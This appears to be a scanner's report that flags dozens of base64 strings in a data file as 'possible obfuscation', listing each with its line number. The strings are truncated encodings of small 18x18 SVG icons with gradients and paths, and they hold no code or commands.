    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48cGF0aCBmaWxsPSIjNzczYWRjIiBkPSJNMTMuMjc2IDMuNjA4VjEwLjZsLTYuMDEgMy41MTRWNy4xMWw2LjAxLTMuNTAzeiIgLz48cGF0aCBmaWxsPSIjYjc5
  • Possible obfuscationline 652
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjYTk2YzkyLWViM2YtNDBiMy1iNWEzLTY4YzliMzQzMDQ0YiIgeDE9Ii00MTguMTI2IiB5MT0iLTIyMy4zOTci
  • Possible obfuscationline 657
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImU5YTJiOGJmLWVmYWQtNGUxNS04OWYwLTYzNTM3MzQwMDEzMSIgY3g9IjkiIGN5PSI5IiByPSI4LjUiIGdyYWRp
  • Possible obfuscationline 662
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmM2IzMzljLTY3M2YtNDc4NS04ZWM5LWM3YzA1ZTEwZjVhMiIgeDE9IjguOTU2IiB5MT0iMTQuMzQ3IiB4Mj0i
  • Possible obfuscationline 667
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiZTI0MWIxLTVhOWEtNDVkNi1hYTZhLTAxODIxOGZjYjc5MCIgeDE9IjE1LjYwMSIgeTE9Ijc3MS43MzYiIHgy
  • Possible obfuscationline 672
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFjNzUxYWFjLTY5NzAtNDAyZi1hM2YyLTlhYTUyZDA0ZjYwZiIgeDE9IjkiIHkxPSItMC42OTEiIHgyPSI5IiB5
  • Possible obfuscationline 677
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4MGZhYTVmLTAxZDYtNDcwZC05YjRiLTJmMWQ5YjRiZTg4MSIgeDE9IjcuOTU1IiB5MT0iMy41NDciIHgyPSI3
  • Possible obfuscationline 682
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlNTAwNGViLWIzY2MtNGFmYy05NDk4LWEwZWIxNDVkZTRkYyIgeDE9IjMuNDM5IiB5MT0iNi44MDEiIHgyPSIz
  • Possible obfuscationline 687
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzYTE5MjlmLTIzNWUtNGJmMC05MTJlLWUzMmVjNDcyZDljYSIgeDE9IjExLjQ2MiIgeTE9IjEwLjUzNiIgeDI9
  • Possible obfuscationline 692
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYwNjU5OTk4LWI3NGEtNDczZS1iOWM3LTQ3MTFkNTg4MDQ2NCIgeDE9IjkiIHkxPSIxMy4wOCIgeDI9IjkiIHky
  • Possible obfuscationline 697
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZWJhZDMxLTk2ZTgtNDg3ZS05M2Q2LTRhNjhkYTI4YTg5ZSIgeDE9IjEyLjg5NiIgeTE9Ii0wLjU0IiB4Mj0i
  • Possible obfuscationline 702
    "b64": "PHN2ZyBpZD0iZjJmOTJhODQtZDUxZC00N2U3LWFhNTItYzlkYzdjYjRmOTVlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiNzM1OGZmLTg1ZDAtNGJlYS1hMWRh
  • Possible obfuscationline 707
    "b64": "PHN2ZyBpZD0iZWVjMTdkNDYtMzM5My00YjUwLThkMTItYjljY2JlZWI5NWFmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImU4YjYwZjEwLWY4MDctNDkzMS1iMjJj
  • Possible obfuscationline 712
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE5ZmIxOGYwLTNiMGYtNDk2Yi1iZGNkLTBhYTJhZjA2YzQxMCIgeDE9IjkiIHkxPSIxMy4zNDMiIHgyPSI5IiB5
  • Possible obfuscationline 717
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE5YzYyMzA3LTFjZDAtNDAwYy05MTFiLTE3ZWM2YTkxMTBjZSIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5
  • Possible obfuscationline 722
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3ZmExNjM3LWQ5ZTEtNGMyNi04ZjIwLTFjYWU4MTJlN2VlYiIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5
  • Possible obfuscationline 727
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEiIHgxPSI4Ljk0IiB5MT0iMTguMTEiIHgyPSI4LjkxIiB5Mj0iMTMuNTkiIGdyYWRpZW50VW5pdHM9InVzZXJT
  • Possible obfuscationline 732
    "b64": "PHN2ZyBpZD0iZmYzMGNmMWYtZmJkZS00ODk2LTkyNzktNGU1YmJjNmYxMDRmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YTBjMDVlLTYzN2UtNGFkZi1iMzhk
  • Possible obfuscationline 737
    "b64": "PHN2ZyBpZD0iYTMyZTgxZjQtYzI2MC00YzIzLWIyMTYtMmJhMjVkNWVkOTQ1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48Zz48cGF0aCBkPSJNNC4wNDUsMy43MjdhLjEuMSwwLDAsMCwuMDk0LS4wOTVWMy4w
  • Possible obfuscationline 742
    "b64": "PHN2ZyBpZD0iZWNjZmJjZWQtMTBjYS00ODdhLWE0MjUtYmYzNGY5ZTE1MTM5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImI5MTU3MzBjLWRjNjktNGNkNC04Y2Yz
  • Possible obfuscationline 747
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE2OTg2MDk5LTNiODItNDZlYy1hZTlhLWM4MjE2MTBjOWNjOCIgeDE9IjkiIHkxPSIxOS44NDgiIHgyPSI5IiB5
  • Possible obfuscationline 752
    "b64": "PHN2ZyBpZD0idXVpZC1mMTkxMGY3OS0yNDFkLTQ4ODAtYWM2Ni0wZjJhYTdjNjY3ZDEiIGRhdGEtbmFtZT0iTGF5ZXIgMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2
  • Possible obfuscationline 757
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4NWUyYmYwLTNhMmYtNGNjMi1hZTVmLTYwZmU1ODgxYTJhNSIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5
  • Possible obfuscationline 762
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjOTAyMmIxLTAzNDItNDBhOS05Y2Y1LTAwMWNiYmQ3ODMyZCIgeDE9IjguOTE2IiB5MT0iMTcuNSIgeDI9Ijgu
  • Possible obfuscationline 767
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYjU2Y2EyLTcyYjEtNDFjNS1hZjA2LTMyZWI5OTA4MTNlNyIgeDE9Ii00MTk5LjM1OSIgeTE9Ijk5MC4yNzUi
  • Possible obfuscationline 772
    "b64": "PHN2ZyBpZD0idXVpZC0wYzMxYjc1Yy03MDQzLTRmYTYtYWM2MC0yZDZhZGJjMDczMmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik0xNC42MDksMTEuMjk3bC01LjYwOSwxLjc4MS01LjYwOS0x
  • Possible obfuscationline 777
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViZjhjODNmLWE1NDMtNDY4NC1hMGZiLWQ4YjdjYWZjMjUwOCIgeDE9Ii0yLjExMyIgeTE9IjEyLjIxMSIgeDI9
  • Possible obfuscationline 782
    "b64": "PHN2ZyBpZD0iYTRjMGE2ZGYtNzA3ZS00YWU3LTliODYtNzQyZTRmOTY1MWUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFjNDIwZTQ3LWYxOTAtNDZkZi1hYjE0
  • Possible obfuscationline 787
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3NTZmMTk0LWYwYWItNGJhZi05YTViLWMyNDM3MzI2MDI5OCIgeDE9IjYuMDEiIHkxPSIxNy42OSIgeDI9IjYu
  • Possible obfuscationline 792
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYWIxY2NhODQtOTNjZi00ZDMzLWJjZjgtYjZiM2ZiNzNkZGYwIj48Zz48Zz48cG9seWdvbiBwb2ludHM9IjE1LjQzNCA5Ljc5OCAxMy43MjQgMTAu
  • Possible obfuscationline 797
    "b64": "PHN2ZyBpZD0iYjMwMGYwZDEtMmFkOC00NDE4LWExYzUtMjNkMGI5ZDIxODQxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4Y2FkNmZkLWVjN2YtNDVlOS1iZTJh
  • Possible obfuscationline 802
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU1YjEwMjM2LTExNmMtNDNmMC1iOGQ3LTdhYTgxNDdjMWFjYiIgeDE9IjkiIHkxPSIxMy43MTIiIHgyPSI5IiB5
  • Possible obfuscationline 807
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU1MjhiYTE0LTk5MmUtNDdjNS1iZWYwLTY2M2NhMTc4MjBkYyIgeDE9IjExLjk5NCIgeTE9Ii0wLjIwOSIgeDI9
  • Possible obfuscationline 812
    "b64": "PHN2ZyBpZD0iYjIyZWQzZTUtODdjNi00OTQ4LWExMmQtZTlhOWZjYTM0OWVhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjZWYxMDNiLTg0M2QtNDAxMy1iMWMy
  • Possible obfuscationline 817
    "b64": "PHN2ZyBpZD0iYmIzN2VlMTEtMWQ3OC00MmRjLTllNjgtMWVmNmY2OTNjMTRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNTQ2YzNkLTA2ZjItNGQ4MS1iM2Zh
  • Possible obfuscationline 822
    "b64": "PHN2ZyBpZD0iYWZjYzM3ODMtNzM3OC00NDk3LWJmMTUtNzJjMjA2MzNiZjIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MmRhMTE4LTk5M2QtNGMzOS04MDNj
  • Possible obfuscationline 827
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkN2E4OGE2LWIyYTAtNGJiZC1iZGU1LTg0NTRiYjdkMzQ0ZiIgeDE9IjguMDA2IiB5MT0iMS44NjciIHgyPSI4
  • Possible obfuscationline 832
    "b64": "PHN2ZyBpZD0iYWZjYzM3ODMtNzM3OC00NDk3LWJmMTUtNzJjMjA2MzNiZjIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MmRhMTE4LTk5M2QtNGMzOS04MDNj
  • Possible obfuscationline 837
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkN2E4OGE2LWIyYTAtNGJiZC1iZGU1LTg0NTRiYjdkMzQ0ZiIgeDE9IjguMDA2IiB5MT0iMS44NjciIHgyPSI4
  • Possible obfuscationline 842
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyMTQ0MmZjLTUwNmItNDNlMy1hMzU4LTVjZGVkNmVjMTJiMSIgeDE9IjkiIHkxPSI3ODAuNDYxIiB4Mj0iOSIg
  • Possible obfuscationline 847
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2Mzk3ZDJlLTNiYTEtNDgyNC04MjllLTk5NzhhNTMzNTA3MiIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5
  • Possible obfuscationline 852
    "b64": "PHN2ZyBpZD0idXVpZC05N2M0YWJiZi05YzQ2LTQ5ZTktYWE2Yi0zNzhlZjk0YjYyMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC02NmNmMmI2Zi0yMDc4
  • Possible obfuscationline 857
    "b64": "PHN2ZyBpZD0iZjQ3MGUxMTItZjFkOC00YzE4LWEzODEtOWI1NGUxMWE5Y2EzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxOThmOWFkLTIyNGUtNGYzNy05OWJi
  • Possible obfuscationline 862
    "b64": "PHN2ZyBpZD0iZjc4ZjUxMTUtYmU4OC00ZDQ0LWIzNGUtM2Y2ZWE3NDMxMjVjIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2YzQzYmQ5LWUzN2YtNDE5MS05M2My
  • Possible obfuscationline 867
    "b64": "PHN2ZyBpZD0idXVpZC00MDAxMWYzZi0yMmQwLTQ4ODItODM3Ni1hZmUyZWY1MTRhN2UiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01YzRkZmMzMy0xMjM2
  • Possible obfuscationline 872
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3NzQ5MTJhLTZmMDYtNDBmNC04ZTMxLWYyZDRkZDYxZDJhZiIgeDE9IjEzLjM5OCIgeTE9IjEuNzQ3IiB4Mj0i
  • Possible obfuscationline 877
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhYWI4NjJmLWQ1YzYtNDkyNi04M2U0LTBhZGY3M2NhN2RiMCIgeDE9IjkiIHkxPSI5LjM4NyIgeDI9IjkiIHky
  • Possible obfuscationline 882
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU4ODEyMThhLWU0YmYtNGUwZS1iYmNmLWRhMDkwYjViNWNiZiIgeDE9IjEwLjU2NCIgeTE9IjEuMzMzIiB4Mj0i
  • Possible obfuscationline 887
    "b64": "PHN2ZyBpZD0iYWNjYjhiMTEtZmY3NS00ZWQ3LTg2ZDAtNzRmM2FmOWU5ZmRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjMzRjZjNjLTA3MDUtNDYwOS04ZWRh
  • Possible obfuscationline 892
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhOTJmM2QwLTMyOGUtNGZlNC05ZDk1LTZhZTBkNzkzNmE1YiIgeDE9IjcuOTQ0IiB5MT0iMC4yMzMiIHgyPSI3
  • Possible obfuscationline 897
    "b64": "PHN2ZyBpZD0idXVpZC1kY2JhMGQxZS0zOGY3LTQ2MmUtODg0YS1mNDdmZmE3MTdmYjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMzRkZTUzOS03YmI3
  • Possible obfuscationline 902
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1ZGZmY2U5LTI5NjAtNDk5Ni05OTVlLTFlM2I5OGVjMWQ5OSIgeDE9IjguNzY1IiB5MT0iMTUuMjY1IiB4Mj0i
  • Possible obfuscationline 907
    "b64": "PHN2ZyBpZD0iYTEyZDc1ZWEtY2JiNi00NGZhLTgzMmEtZTU0Y2NlMDA5MTAxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyYjEzZDgxLTk3ZTAtNDY1YS1iOWVk
  • Possible obfuscationline 912
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4YmU5MGNhLWI1MTMtNDg5MC1hYzQyLWI3ZmMzYjM5NmI3MSIgeDE9IjExLjU2NSIgeTE9IjE0LjcyOSIgeDI9
  • Possible obfuscationline 917
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MjllNjZlLTk2NTEtNGNiNi05MDFhLWI1ZDczZTI1ZmNkOSIgeDE9IjYuNDM2IiB5MT0iMTAuNzc2IiB4Mj0i
  • Possible obfuscationline 922
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhYTdlOWU1LTFmZTktNDEyMS05MTRjLTBiYWNlYzg3Mjc1YiIgeDE9IjcuMDI4IiB5MT0iMS4xNzkiIHgyPSI3
  • Possible obfuscationline 927
    "b64": "PHN2ZyBpZD0iZjhjYzY3YjYtODhkMi00ZDY1LWI5ZDQtMDg4N2UwNGQxZjM4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImIxY2Q0NGYyLWQ2MmItNDc1My1hODU5
  • Possible obfuscationline 932
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYjc4NjgzNTUtMDAwMS00MWU4LTg0ZTEtYWU4NDJkOTRhNWFhIj48Zz48cG9seWdvbiBwb2ludHM9IjEyLjEgMi4wNSAxMi4xIDUuODUgOC45IDcu
  • Possible obfuscationline 937
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYTQ0MDkzLWIxNTctNDI2ZS1hOGZlLWNlYzlmOWMyMzk3OCIgeDE9IjExLjcyOSIgeTE9IjQuODgiIHgyPSIx
  • Possible obfuscationline 942
    "b64": "PHN2ZyBpZD0iYmViNDQwZjUtZDAxNy00ZGRhLTk4OWEtZGRkNDI1ZmNlMDJlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3NTQzOTA0LTRhODktNDM1ZS05NmNk
  • Possible obfuscationline 947
